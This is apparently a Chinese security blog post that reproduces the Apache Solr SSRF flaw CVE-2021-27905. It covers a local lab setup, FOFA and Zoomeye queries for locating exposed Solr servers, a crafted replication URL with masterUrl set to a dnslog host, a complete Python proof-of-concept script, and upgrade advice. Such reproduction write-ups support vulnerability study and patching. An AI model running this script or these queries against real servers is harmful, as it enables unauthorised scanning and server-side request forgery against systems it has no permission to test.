Apache-Solr-SSRF漏洞(CVE-2021-27905)复现

Apache-Solr-SSRF漏洞(CVE-2021-27905)复现


简介


Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。

该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。影响版本为Apache Solr <= 8.8.1。

环境搭建

Apache Solr环境下载

解压完成后,进入文件夹下的bin目录,在命令行中执行

1
solr start -p 8983

在浏览器上访问8983端口,可以看到Solr

下面我们为Solr创建Core

点击左边菜单栏的”Core Admin”选项,创建一个新的Core,发现上方出现报错信息。

我们来看下报错信息,如下:

提示没找到solrconfig.xml文件在配置文件中。

我们进入Server文件夹下,可以看到new_core文件夹已经被创建成功。

这时,我们只需要把server/solr/configsets/default文件夹下的conf目录整个拷贝到new_core文件夹下,就可以创建Core成功。

再次进行创建Core,成功创建

漏洞复现

搜索引擎查询

FOFA查询:

1
app="APACHE-Solr"

Zoomeye查询:

1
app:"APACHE-Solr"

下面开始对Solr进行漏洞探测.

通过构造特定的URL访问Solr,可以看到上方创建的Core名字。

1
http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json

solr 支持配置两个core,分别是主(master)和从(slave),我们可以主动控制让从(slave)去获取主的备份,而master的地址在配置文件可以配置,也允许请求者指定。

poc格式:

1
http://127.0.0.1:8983/solr/new_core(上面创建的Core)/replication?command=fetchindex&maste rUrl=http://xxx

设置URL为DNSlog平台地址,可以看到返回200

1
http://127.0.0.1:8983/solr/new_core/replication?command=fetchindex&masterUrl=https://abc.53mliy.dnslog.cn/ss

在Dnslog平台上可以看到有请求响应

这里提供一个poc脚本;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# CVE-2021-27905
# Apache solr ssrf

import requests
import urllib3
import json
import sys, getopt
urllib3.disable_warnings()


def title():
print("[-------------------------------------------------------------]")
print("[-------------- Apache Solr SSRF漏洞 ---------------]")
print("[-------- CVE-2021-27905 ----------]")
print("[--------use:python3 CVE-2021-27905.py -u url -d dnslog--------]")
print("[-------- Author:Henry4E36 ------------]")
print("[-------------------------------------------------------------]")

def commit():
url = ""
try:
opt, agrs = getopt.getopt(sys.argv[1:], "hu:d:", ["help", "url=","dnslog="])
for op, value in opt:
if op == "-h" or op == "--help":
print("""
[-] Apache Solr SSRF漏洞 (CVE-2021-27905)
[-] Options:
-h or --help : 方法说明
-u or --url : 站点URL地址
-d or --dnslog : DnsLog
""")
sys.exit(0)
elif op == "-u" or op == "--url=":
url = value
elif op == "-d" or op == "--dnslog=":
dnslog = value
else:
print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
sys.exit()
return url, dnslog

except Exception as e:
print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
sys.exit(0)

def target_core(url):
target_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
}
try:
res = requests.get(url=target_url,headers=headers,verify=False,timeout=5)
core = list(json.loads(res.text)["status"])[0]
return core
except Exception as e:
print(f"[!] 目标系统: {url} 出现意外!n ",e)

def ssrf(core,dnslog):
target_url = url + f"/solr/{core}/replication/?command=fetchindex&masterUrl=http://{dnslog}"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
}
try:
res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
status = json.loads(res.text)["status"]
if res.status_code == 200 and status == "OK":
print(f"[!] 33[31m目标系统: {url} 可能存在SSRF漏洞,请检查DNSLog响应!33[0m")
else:
print(f"[0] 目标系统: {url} 不存在SSRF漏洞")

except Exception as e:
print(f"[!] 目标系统: {url} 出现意外!n ", e)


if __name__ == "__main__":
title()
url ,dnslog = commit()
core = target_core(url)
ssrf(core,dnslog)

使用方法;

1
2
3
4
5
python3 CVE-2021-27905.py -u URL(Solr地址) -d dnslog(dnslog生成地址)

-h or --help : 方法说明
-u or --url : 站点URL地址
-d or --dnslog : DnsLog

我们来运行一下该poc脚本:

1
python3 CVE-2021-27905.py -u http://127.0.0.1:8983 -d otettj.dnslog.cn

提示目标系统可能存在SSRF漏洞

我们查看DNslog平台,有DNS解析记录。

修复建议

建议受影响的用户升级到最新版本8.8.2

Apache Solr 8.8.2官方下载地址

https://solr.apache.org/downloads.html

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信